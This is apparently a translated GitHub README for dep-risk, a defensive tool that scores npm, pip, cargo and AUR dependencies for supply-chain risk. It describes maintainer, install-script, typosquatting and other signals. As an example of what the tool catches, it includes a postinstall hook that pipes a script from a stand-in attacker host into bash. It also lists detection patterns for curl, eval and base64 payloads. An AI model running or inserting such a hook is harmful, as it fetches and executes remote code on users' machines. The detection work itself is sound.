dilates/dep-risk

GitHub: dilates/dep-risk

一款支持 npm、pip、cargo 和 AUR 生态的供应链风险评分器,通过行为分析识别传统 CVE 扫描器遗漏的恶意或高风险依赖。

Stars: 0 | Forks: 0

# dep-risk **适用于 npm、pip、cargo 和 AUR 依赖的供应链风险评分器。** [![Python](https://img.shields.io/badge/python-3.11%2B-blue?logo=python&logoColor=white)](https://python.org) [![License: MIT](https://img.shields.io/badge/license-MIT-green)](LICENSE) [![Ecosystems](https://img.shields.io/badge/ecosystems-npm%20%7C%20pip%20%7C%20cargo%20%7C%20aur-orange)](https://github.com/dilates/dep-risk) *捕获 CVE 扫描器遗漏的攻击 —— 维护者接管、域名抢注、恶意安装脚本以及所有权转移。* [安装](#installation) · [快速开始](#quick-start) · [工作原理](#how-it-works) · [CI 集成](#ci-integration) · [配置](#configuration) · [常见问题](#faq)
## 为什么选择 dep-risk? Snyk 和 Dependabot 在捕获已知 CVE 方面表现出色。但它们对以下情况视而不见: - 一个上周其维护者账号被卖给恶意攻击者的流行 npm 包 - 一个距离 `requests` 只有一个拼写错误的 Python 包 —— 并且是昨天刚上传的 - 一个其 `postinstall` 脚本悄悄使用 `curl` 下载远程 payload 的 crate - 一个被标记为已弃用,但每周仍有数千次安装量的 GitHub 仓库 - 一个其 PKGBUILD 被修改以解码并执行 base64 payload 的 AUR 包 dep-risk 弥补了这一空白。它通过七个行为维度对每个依赖项进行评分,并标记出那些需要重点关注的依赖项 —— 在它们进入生产环境之前。 ## 终端输出 ``` ╭─────────────────────────────────────────────────────────────╮ │ dep-risk scan — ./my-project │ │ 127 packages scanned across 4 ecosystems │ │ Completed in 4.2s (cached: 89, fresh: 38) │ ╰─────────────────────────────────────────────────────────────╯ CRITICAL 2 ████ HIGH 7 ██████████████ MEDIUM 18 ███████████████████████████████ LOW 100 Package Version Ecosystem Score Risk Top Finding ───────────────────────────────────────────────────────────────────────────── malicious-pkg 1.0.2 npm 94 CRITICAL Ownership transferred 2 days ago sketchy-util 2.1.0 npm 71 CRITICAL Downloads during postinstall (curl) old-thing 0.3.1 pip 62 HIGH Abandoned 4 years ago, no source event-stream 3.3.6 npm 58 HIGH New maintainer added within 30 days axios 1.4.0 npm 25 MEDIUM Single maintainer with no backup ╭─── malicious-pkg@1.0.2 (npm) — CRITICAL 94/100 ───────────────────────────╮ │ maintainer ████████████████████ 62pts Ownership transferred 2d ago │ │ install_script ████████████████ 52pts postinstall: curl | bash │ │ activity ████████ 28pts No commits in 18 months │ │ typosquat ░░░░░░░░░░░░░░░░░░░░ 0pts Not a known typosquat │ │ │ │ Registry: https://registry.npmjs.org/malicious-pkg │ │ GitHub: https://github.com/bad-actor/malicious-pkg │ ╰─────────────────────────────────────────────────────────────────────────────╯ ``` ### 详细的评分器分析 运行 `dep-risk --verbose --min-risk medium` 会显示每个被标记包的各个评分器的详细信息: ``` ╭───────────────────── axios@1.4.0 (npm) — MEDIUM 25/100 ──────────────────────╮ │ maintainer ███████████░░░░░░░░░ 55pts Single maintainer with no │ │ backup │ │ install_script ████████░░░░░░░░░░░░ 40pts Has install hook: prepare │ │ activity ░░░░░░░░░░░░░░░░░░░░ 0pts No activity concerns │ │ typosquat ░░░░░░░░░░░░░░░░░░░░ 0pts In top popular list │ │ version ███░░░░░░░░░░░░░░░░░ 15pts Weekend late-night release │ │ github ████░░░░░░░░░░░░░░░░ 20pts No GitHub repo found │ │ entropy ░░░░░░░░░░░░░░░░░░░░ 0pts Package name appears normal │ │ │ │ Registry: https://registry.npmjs.org/axios │ │ GitHub: https://github.com/axios/axios │ ╰───────────────────────────────────────────────────────────────────────────────╯ ``` ### CI 模式 ``` [CRITICAL] malicious-pkg@1.0.2 — score 94 — Ownership transferred 2 days ago [HIGH] sketchy-util@2.1.0 — score 71 — Downloads during postinstall (curl) [HIGH] old-thing@0.3.1 — score 62 — Abandoned 4 years ago, no source dep-risk: 2 CRITICAL, 1 HIGH packages found. Failing CI. ``` ## HTML 报告 运行 `dep-risk --output report.html` 会生成一个完全独立且没有外部依赖的 HTML 文件。 功能: - **深色安全工具美学** —— 海军蓝背景,颜色编码的风险等级 - **交互式表格** —— 点击任意列进行排序;输入内容按包名过滤 - **侧边栏过滤器** —— 即时切换生态系统和风险等级 - **可展开的行** —— 点击“Show”以显示每个评分器的进度条、证据和链接 - **圆环图** —— 随过滤实时更新的风险分布 - **CSV 导出** —— 将当前(已过滤的)视图下载为电子表格 - **移动端响应式** —— 适用于任何屏幕宽度 - **零外部依赖** —— 单个 `.html` 文件,离线可用 ``` ┌────────────────────────────────────────────────────────────────────┐ │ dep-risk │ Total Critical High Medium │ │ v1.0.0 │ 127 2 7 18 │ │ │ ┌──────────────────────────────────────────┐ │ │ ./my-project │ │ Search packages... Export CSV│ │ │ 2024-01-15 │ ├──────┬───────┬───────┬───────┬─────┬─────┤ │ │ 4.2s │ │Pkg │ Ver │ Eco │ Score │Risk │ ... │ │ │ │ ├──────┼───────┼───────┼───────┼─────┼─────┤ │ │ [Donut chart] │ │mal.. │ 1.0.2 │ npm │ 94 │CRIT │ ▶ │ │ │ │ │sket..│ 2.1.0 │ npm │ 71 │CRIT │ ▶ │ │ │ Risk Level │ │old-..│ 0.3.1 │ pip │ 62 │HIGH │ ▶ │ │ │ ☑ Critical (2) │ │axios │ 1.4.0 │ npm │ 25 │MED │ ▶ │ │ │ ☑ High (7) │ └──────┴───────┴───────┴───────┴─────┴─────┘ │ │ ☑ Medium (18) │ │ │ ☑ Low (100) │ │ │ │ Generated by dep-risk v1.0.0 · github.com/dilates│ │ Ecosystem │ │ │ ☑ npm │ │ │ ☑ pip │ │ │ ☑ cargo │ │ └────────────────────────────────────────────────────────────────────┘ ``` ## 安装 ### pip(推荐) ``` pip install dep-risk ``` ### pipx(隔离环境,全局可用) ``` pipx install dep-risk ``` ### 从源码安装 ``` git clone https://github.com/dilates/dep-risk cd dep-risk pip install -e . ``` ### 环境要求 - Python 3.11 或更高版本 - 首次扫描需要互联网访问(随后的扫描使用本地缓存) - GitHub token 是可选的,但强烈建议使用(将速率限制从 60 次请求/小时提高到 5,000 次请求/小时) ## 快速开始 ``` # 扫描当前目录 — 自动检测 npm、pip、cargo 和 AUR dep-risk # 扫描特定项目 dep-risk /path/to/my-project # 仅显示 HIGH 和 CRITICAL 结果 dep-risk --min-risk high # 显示每个被标记 package 的完整 scorer 明细 dep-risk --verbose # 导出自包含的 HTML 报告 dep-risk --output report.html # 通过管道将 JSON 输出传递给 jq dep-risk --json | jq '.[] | select(.risk_level == "critical")' # 包含 dev dependencies dep-risk --include-dev # 使用 GitHub token(或设置 GITHUB_TOKEN env var) dep-risk --github-token ghp_yourtoken ``` ## 工作原理 dep-risk 从 npm、PyPI、crates.io、AUR RPC API 和 GitHub 获取实时数据,然后通过七个评分器运行每个包。每个评分器返回一个 0-100 的分数,以及其对最终风险分数的加权贡献。 ### 风险等级阈值 | 分数 | 等级 | 含义 | |--------|-------------|---------------| | 0–20 | `LOW` | 没有显著的供应链风险 | | 21–45 | `MEDIUM` | 存在一些信号 —— 建议审查 | | 46–70 | `HIGH` | 显著的信号 —— 需要人工审查 | | 71–100 | `CRITICAL` | 未经彻底的安全审查请勿使用 | ## AUR 支持 dep-risk 会扫描项目根目录下 `packages.aur` 文件中列出的 Arch User Repository (AUR) 包。每行放置一个包名: ``` # packages.aur yay paru spotify discord some-package=1.2.3 ``` dep-risk 从 [AUR RPC API](https://aur.archlinux.org/rpc/) 获取元数据,并下载每个包的 `PKGBUILD` 进行静态分析。 ### 为什么 AUR 包属于高风险 AUR 包是社区维护的 shell 脚本 (`PKGBUILD`),它们会在构建时执行任意代码。与 npm、PyPI 或 crates.io 不同,这里没有注册表级别的审查 —— 整个安全模型依赖于社区在安装前审查每个 PKGBUILD。这使得 AUR 成为主要目标: - **孤立的包** 可以被任何人领养,并修改其 PKGBUILD - **PKGBUILD 文件** 在运行 `makepkg` 期间拥有完整的 shell 访问权限 —— 它们可以下载、解密并执行任意 payload - **校验和绕过** (`sha256sums=('SKIP')`) 移除了来源完整性验证 - **低投票的包** 审查构建脚本的人更少 ### AUR 专属信号 | 信号 | 评分器 | 分数 | |--------|--------|--------| | 孤立的包(无维护者) | 维护者 | +50 | | 维护者与原始提交者不同 | 维护者 | +30 | | 被标记为过期 | 活跃度 | +30 | | PKGBUILD 2年以上未更新 | 活跃度 | +30 | | PKGBUILD 5年以上未更新 | 活跃度 | +50 | | AUR 投票少于 10 | 活跃度 | +25 | | AUR 投票少于 50 | 活跃度 | +10 | | 上游仓库已归档 | 活跃度 | +35 | | PKGBUILD 发起网络请求 (curl/wget) | 安装脚本 | +40 | | PKGBUILD 使用了 eval/exec | 安装脚本 | +60 | | PKGBUILD 在构建时解码 base64 | 安装脚本 | +70 | | PKGBUILD 跳过校验和验证 (`SKIP`) | 安装脚本 | +50 | | PKGBUILD 包含高熵内容 | 安装脚本 | +50 | | PKGBUILD 无法获取 | 安装脚本 | +20 | ### 针对 AUR 的 CI 集成 ``` # GitHub Actions — 将 packages.aur 包含在 trigger paths 中 on: push: paths: - 'packages.aur' - 'package*.json' - 'requirements*.txt' - 'Cargo.*' ``` ``` # 仅扫描 AUR packages dep-risk --ecosystem aur # 扫描包括 AUR 在内的所有 ecosystems(自动检测) dep-risk ``` ## 七大评分器 ### 维护者 —— 25% 检测所有权变更和可疑的维护者模式。 | 信号 | 分数 | |--------|--------| | 单一维护者且无备用 | +20 | | 维护者大量流失(6个月内从 >3人 降至 1人) | +35 | | 过去 30 天内添加了新维护者,且该维护者的其他包 <5 个 | +40 | | 过去 **7天** 内添加了新维护者 | +60 | | 版本之间整个维护者团队被替换 | +50 | | 孤立的 AUR 包(无维护者) | +50 | | AUR 维护者与原始提交者不同 | +30 | **重要性说明:** XZ Utils 后门 (CVE-2024-3094)、event-stream 攻击以及数十起 npm 安全事件,都是从一个新的或被入侵的维护者账号获得发布权限开始的。对于 AUR,孤立的包尤其危险 —— 任何人都可以领养它们并推送恶意的 PKGBUILD。 ### 安装脚本 —— 30% *(权重最高)* npm 生态系统中排名第一的活跃攻击媒介。 | 信号 | 分数 | |--------|--------| | 存在 `preinstall` / `postinstall` / `install` / `prepare` 钩子 | 基础 +40 | | 钩子包含 `curl`、`wget`、`fetch` 或 HTTP 调用 | +70 | | 钩子包含 `eval`、`exec` 或动态生成 | +60 | | 钩子在安装时读取 `process.env` | +30 | | 脚本熵 > 4.5 bits/char(被混淆) | +80 | | pip:仅包含二进制 wheel,无源码分发 | +50 | | AUR:PKGBUILD 发起网络请求 (curl/wget) | +40 | | AUR:PKGBUILD 使用了 eval/exec | +60 | | AUR:PKGBUILD 在构建时解码 base64 | +70 | | AUR:PKGBUILD 跳过校验和验证 (`SKIP`) | +50 | | AUR:高熵的 PKGBUILD 内容 | +50 | **被捕获的示例:** ``` "scripts": { "postinstall": "curl https://c2.evil.example/payload.sh | bash" } ``` 分数:**110分 → 上限设为 100 → CRITICAL** ### 活跃度 —— 15% 检测已废弃和僵尸包。 | 信号 | 分数 | |--------|--------| | 最后一次提交在 > 2 年前 | +30 | | 最后一次提交在 > 5 年前 | +50 | | 90 天内零提交,但有活跃的 issue 提交 | +20 | | 注册表发布了版本,但 GitHub 上没有相应的提交(时间差 >7 天) | +40 | | 仓库已归档 | +35 | | 任何地方都没有源码仓库链接 | +25 | | AUR:包被标记为过期 | +30 | | AUR:PKGBUILD 2年以上未更新 | +30 | | AUR:PKGBUILD 5年以上未更新 | +50 | | AUR:投票少于 10 | +25 | | AUR:投票少于 50 | +10 | ### 域名抢注 —— 20% 使用 Damerau-Levenshtein 距离,将每个包名与每个生态系统前 1,000 个最流行包的精选列表进行比对。 | 信号 | 分数 | |--------|--------| | 与某个流行包的编辑距离为 1 | +70 | | 与某个流行包的编辑距离为 2 | +35 | | 同形字替换 (l↔1, O↔0, rn↔m, vv↔w) | +80 | | 复数变体 (`flask` → `flasks`) | +35 | | 数字变体 (`axios` → `axios2`) | +25 | **属于**前 1,000 名列表中的包将自动评为 0 分 —— 流行的包不会出现误报。 ### 版本异常 —— 10% | 信号 | 分数 | |--------|--------| | 版本在 UTC 时间周末凌晨 2点至 5点之间发布 | +15 | | 24 小时内发布了两个主要版本 | +25 | | 大版本跳跃 (例如 1.0.1 → 1.9.9) | +20 | | 版本被撤回 / 取消发布后重新发布 | +30 | | 此账号发布的第一个包 | +20 | ### GitHub 健康度 —— 10% | 信号 | 分数 | |--------|--------| | 未找到 GitHub 仓库 | +20 | | 仓库已归档 | +35 | | Star 数 < 10 | +30 | | Fork 数 > Star 数的 3 倍 | +20 | | 200+ 个打开的 issue 且近期无回复 | +25 | | 无许可证 | +20 | | 主题包含 `deprecated`、`unmaintained`、`archived` | +40 | ### 名称熵 —— 5% | 信号 | 分数 | |--------|--------| | 香农熵 > 3.8 bits/char(看起来像随机的名称) | +30 | | 混合大小写加数字的不寻常模式 | +20 | | 名称长度为 1-2 个字符(高抢注风险) | +15 | | 常见单词后加数字 (`lodash3`, `vue2`) | +25 | ## 使用场景 ### 1. 合并前的依赖审计 在合并任何添加或升级依赖的 PR 之前运行 dep-risk。将其整合到你的 PR 检查清单中: ``` dep-risk --ci --fail-on high --min-risk medium ``` 如果新依赖的分数为 HIGH 或 CRITICAL,审查人员可以确切地看到原因。 ### 2. 定期的供应链监控 你的依赖项没有改变,但维护者会变。上个月安全的包昨天可能已经转移了所有权。每周运行一次 dep-risk 来捕获这种情况: ``` # 每周 cron — 对任何新的 HIGH 发现发出警报 dep-risk --ci --fail-on high --no-cache ``` ### 3. 对不熟悉代码库的安全审计 加入新项目?运行 dep-risk 以获取依赖树的快速风险图谱: ``` dep-risk /path/to/project --min-risk medium --output audit-report.html --verbose ``` HTML 报告为你提供了一个可过滤、可排序的表格,你可以与利益相关者分享 —— 无需使用终端。 ### 4. 仅针对新包的 CI 门禁 使用 JSON 输出,可以仅对新添加的依赖项进行拦截,而不会阻止现有的依赖项: ``` # 在 CI 中:与 known-good baseline 进行比较 dep-risk --json > current.json jq --slurpfile base baseline.json ' . as $curr | $curr | map(select(.risk_level == "critical" or .risk_level == "high")) | map(select(.name as $n | $base[0] | map(.name) | index($n) | not)) ' current.json ``` ### 5. 调查特定包 结合 `--json` 和 `jq`,dep-risk 还可以作为包情报工具使用: ``` # 单个 package 的完整 profile dep-risk . --json | jq '.[] | select(.name == "some-package")' # 列出所有带有 install scripts 的 packages dep-risk . --json | jq '.[] | select(.scores.install_script.score > 0) | {name, version, finding: .scores.install_script.finding}' # 查找有 ownership 变更的 packages dep-risk . --json | jq '.[] | select(.scores.maintainer.evidence.ownership_transfer == true)' ``` ### 6. 生成高管报告 ``` dep-risk . --output security-report.html ``` HTML 报告是完全自包含的 —— 无需服务器,外部依赖,数据也不会离开你的机器。直接将其通过电子邮件发送给你的安全团队。 ## CI 集成 ### GitHub Actions ``` name: Supply Chain Audit on: push: paths: - 'package*.json' - 'requirements*.txt' - 'Cargo.*' - 'Pipfile*' - 'pyproject.toml' - 'packages.aur' schedule: - cron: '0 8 * * 1' # also run every Monday jobs: dep-risk: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: '3.11' - name: Install dep-risk run: pip install dep-risk - name: Run supply chain audit env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: dep-risk --ci --fail-on high # AUR packages are auto-detected if packages.aur exists - name: Upload HTML report if: always() uses: actions/upload-artifact@v4 with: name: dep-risk-report path: report.html # Generate the report regardless of pass/fail: # run: dep-risk --output report.html || true ``` ### GitLab CI ``` dep-risk: stage: security image: python:3.11-slim before_script: - pip install dep-risk script: - dep-risk --ci --fail-on high artifacts: when: always paths: - report.html expire_in: 30 days rules: - changes: - package*.json - requirements*.txt - Cargo.* - packages.aur ``` ### Pre-commit Hook ``` # .pre-commit-config.yaml repos: - repo: local hooks: - id: dep-risk name: Supply chain risk check language: python entry: dep-risk --ci --fail-on critical additional_dependencies: [dep-risk] files: ^(package\.json|requirements.*\.txt|Cargo\.toml|pyproject\.toml|packages\.aur)$ pass_filenames: false ``` ### Makefile ``` .PHONY: security security: dep-risk --ci --fail-on high --output security-report.html @echo "Report saved to security-report.html" ``` ## JSON 输出 所有数据都支持管道处理。`--json` 标志会写入 stdout;所有进度输出都会发送到 stderr。 ``` dep-risk --json | jq '.[] | select(.risk_level == "critical")' ``` **输出 schema:** ``` { "name": "event-stream", "version": "3.3.6", "ecosystem": "npm", "registry_url": "https://registry.npmjs.org/event-stream", "github_url": "https://github.com/dominictarr/event-stream", "total_score": 71.0, "risk_level": "critical", "flags": [ "New maintainer added within 30 days: right9ctrl", "Has install hook: postinstall", "Downloads during postinstall (curl)" ], "fetch_errors": [], "scores": { "maintainer": { "scorer": "maintainer", "score": 40.0, "weight": 0.25, "finding": "New maintainer added within 30 days: right9ctrl", "detail": "New maintainer 'right9ctrl' added 22 days ago", "evidence": { "new_maintainer_right9ctrl": "2018-09-09T05:34:15.000Z" } }, "install_script": { "scorer": "install_script", "score": 110.0, "weight": 0.30, "finding": "Downloads during postinstall (curl)", "detail": "postinstall script makes network requests", "evidence": { "scripts": { "postinstall": "node ./install.js" }, "postinstall_downloads": true } } } } ``` ## 配置 在项目根目录下创建 `.dep-risk.toml`,或者在主目录下创建 `~/.dep-risk.toml` 作为全局默认配置。 ``` [dep-risk] # 要跳过的 Packages — 已知安全的内部或 vendor packages exclude = ["my-internal-lib", "company-design-system"] # 在终端中显示的最低 risk level min_risk = "medium" # 包含 dev/test dependencies(默认为 false) include_dev = false # CI failure threshold fail_on = "high" # GitHub token — 建议优先使用 GITHUB_TOKEN env var github_token = "" # Parallel fetch workers(针对大型 monorepos 增加) workers = 10 # Override scorer weights — 将被重新归一化,使其总和为 1.0 [dep-risk.weights] maintainer = 0.25 activity = 0.15 install_script = 0.30 typosquat = 0.20 version = 0.10 github = 0.10 entropy = 0.05 ``` 配置文件的查找顺序如下: 1. 通过 `--config` 传递的路径 2. 当前目录下的 `.dep-risk.toml` 3. 主目录下的 `~/.dep-risk.toml` ## 缓存 所有注册表和 GitHub API 的响应都会本地缓存在 `~/.cache/dep-risk/cache.db` (SQLite) 中。 | 数据源 | 默认 TTL | |----------------|-------------| | npm registry | 1 小时 | | PyPI | 1 小时 | | crates.io | 1 小时 | | AUR RPC API | 1 小时 | | AUR PKGBUILD | 1 小时 | | GitHub API | 6 小时 | ``` # 强制获取新数据(bypass cache) dep-risk --no-cache ``` 每次运行时都会自动清理过期的缓存条目。 ## 完整的 CLI 参考 ``` dep-risk [PATH] [OPTIONS] Arguments: PATH Directory to scan (default: current directory) Scan options: --ecosystem {npm,pip,cargo,aur,auto} Ecosystems to scan (default: auto-detect) --include-dev Include dev/test dependencies --min-risk {low,medium,high,critical} Minimum level to display Output options: --output FILE Export self-contained HTML report --json Write JSON array to stdout (stderr for progress) --verbose Show per-scorer breakdown for all flagged packages CI options: --ci CI mode — structured output, non-zero exit on failures --fail-on {low,medium,high,critical} Failure threshold (default: high) Fetch options: --no-cache Bypass cache, always fetch fresh --github-token TOKEN GitHub API token (or GITHUB_TOKEN env var) --workers N Concurrent fetch workers (default: 10) Other: --config PATH Path to .dep-risk.toml config file --version Show version and author link --verbose Detailed scorer output per package ``` ## 常见问题 ### dep-risk 会取代 Snyk / Dependabot / npm audit 吗? 不 —— 它并没有这个打算。dep-risk 是互补的。CVE 扫描器告诉你现有包中已知的漏洞。dep-risk 告诉你 CVE 数据库不跟踪的*行为*和*来源*风险信号:现在谁拥有该包,安装脚本是否发起了网络调用,包名是否看起来像是域名抢注。 两者请配合使用。 ### 为什么一个众所周知的包会显示 MEDIUM 分数? 对合法包产生误报的最常见原因: 1. **单一维护者** —— 许多流行的单人维护包在维护者信号上会得 +20 分。这是故意的:巴士因子(Bus factor)是一个真实的风险。使用 `exclude = ["package-name"]` 排除受信任的单人维护包。 2. **`prepare` / `postinstall` 脚本** —— 像 `husky`、`electron` 这样的框架包以及许多原生插件合理地运行了安装后脚本。如果你已经审查了脚本并确认它是安全的,请排除该包。 3. **低 GitHub star 数** —— 新包或从其他仓库迁移过来的包可能 star 数较低。star 信号的权重很低 (10%),并且只有在包的 star 数少于 10 个时才会触发。 4. **周末发布** —— 开源维护者按照自己的时间表发布。这是一个权重非常低的信号(版本评分器总权重 = 10%,其中的周末信号 = 15 分)。 ### 我该如何针对我的项目进行调整? **通过提高最低风险等级来减少干扰:** ``` [dep-risk] min_risk = "high" fail_on = "critical" ``` **通过排除已知安全的包来减少干扰:** ``` [dep-risk] exclude = [ "electron", # known postinstall script "husky", # known postinstall script "my-private-pkg", # internal package ] ``` **降低你认为对技术栈信号意义不大的权重:** ``` # 对于 build.rs 为通用的 Rust 项目: [dep-risk.weights] install_script = 0.10 maintainer = 0.35 typosquat = 0.25 activity = 0.15 version = 0.08 github = 0.05 entropy = 0.02 ``` 权重会自动重新标准化 —— 它们不需要总和刚好为 1.0。 ### 会收集哪些数据?dep-risk 会把我的依赖列表发送到其他地方吗? dep-risk 仅向官方包注册表 (registry.npmjs.org, pypi.org, crates.io) 和 GitHub API 发出外部请求 —— 这与你的包管理器发出的请求完全相同。你项目的文件路径和依赖名称不会被发送到其他任何地方。所有响应都本地缓存在 `~/.cache/dep-risk/cache.db` 中。 ### 为什么 dep-risk 需要 GitHub token? 如果没有 token,GitHub API 允许每个 IP 每小时请求 60 次。使用 token 后,该限制会提升至 5,000 次。在一个包含超过 60 个具有 GitHub 仓库依赖的项目中,你会开始触及速率限制,并且这些包将跳过 GitHub 评分器(记录在 `fetch_errors` 中)。一个没有任何范围(只读)的 token 就足够了。 ``` export GITHUB_TOKEN=ghp_yourreadontlytoken dep-risk ``` ### 我的 CI 运行缓慢。我该如何加速? 1. **增加 worker:** `dep-risk --workers 20`(更多并发的 HTTP 请求) 2. **让缓存预热:** 首次运行会全新获取所有数据。在 TTL 窗口内的后续运行几乎是瞬间完成的。 3. **限定扫描范围:** 如果你只关心一个生态系统,请使用 `dep-risk --ecosystem npm` 4. **提高阈值:** `dep-risk --min-risk high` —— 这不会影响扫描时间,但会减少输出干扰 ### 我可以扫描 monorepo(单体仓库)吗? dep-risk 扫描的是单个目录。对于 monorepo,请针对每个工作区运行它: ``` for workspace in packages/*/; do echo "--- $workspace ---" dep-risk "$workspace" --ci --fail-on high done ``` 或者从所有工作区收集 JSON 输出: ``` for workspace in packages/*/; do dep-risk "$workspace" --json 2>/dev/null done | jq -s 'flatten | unique_by(.name + .ecosystem)' > combined.json ``` ### 它支持 `pnpm`、`yarn`、`poetry`、`uv` 吗? | 工具 | 支持 | |------|---------| | npm | ✅ 通过 `package-lock.json` | | yarn | ✅ 通过 `package.json`(lock 文件解析:使用 `--no-lock` 模式) | | pnpm | ✅ 通过 `package.json` | | pip | ✅ 通过 `requirements*.txt` | | poetry | ✅ 通过 `pyproject.toml` (`[tool.poetry]`) | | uv | ✅ 通过 `pyproject.toml` (`[project]`) | | Pipenv | ✅ 通过 `Pipfile` | | cargo | ✅ 通过 `Cargo.toml` 和 `Cargo.lock` | | AUR (Arch) | ✅ 通过 `packages.aur` | ## 开发 ``` git clone https://github.com/dilates/dep-risk cd dep-risk python -m venv .venv && source .venv/bin/activate pip install -e ".[dev]" # 运行测试(无网络调用) pytest # 针对 bundled fixtures 运行 dep-risk tests/fixtures/ --no-cache --verbose ``` ### 项目布局 ``` dep_risk/ ├── cli.py Entry point, argument parsing ├── scanner.py Async orchestrator — parsers → sources → scorers ├── config.py TOML config loading ├── cache.py SQLite TTL cache ├── parsers/ npm · pip · cargo · aur dependency file parsers ├── sources/ npm registry · PyPI · crates.io · AUR RPC · GitHub API clients ├── scorers/ Seven scorer modules + base dataclasses └── report/ Rich terminal output · self-contained HTML report ``` ### 添加评分器 1. 创建 `dep_risk/scorers/my_scorer.py`,实现 `async def score(dep, registry_data, github_data) -> RiskScore` 2. 将其添加到 `scanner.py` 中的 `SCORERS` 列表中 3. 在 `config.py` 中向 `DEFAULT_WEIGHTS` 添加默认权重 4. 使用测试数据在 `tests/test_scorers.py` 中编写测试 ## 支持与赞助 dep-risk 是免费的开源软件。如果它帮助你避免了一次供应链事件 —— 或者只是节省了你的时间 —— 请考虑请我喝杯咖啡。 **莱特币 (LTC):** ``` LZkNEPvTt9MhGTHuYvhsGSPqw91odZRX4j ``` 任何金额的支持我们都深表感谢,这有助于项目的持续维护。 ## 许可证 MIT © [dilates](https://github.com/dilates)
*dep-risk v1.0.0 · [https://github.com/dilates](https://github.com/dilates)*
标签:LNA, Python, WebSocket, 依赖分析, 无后门, 逆向工具, 风险评分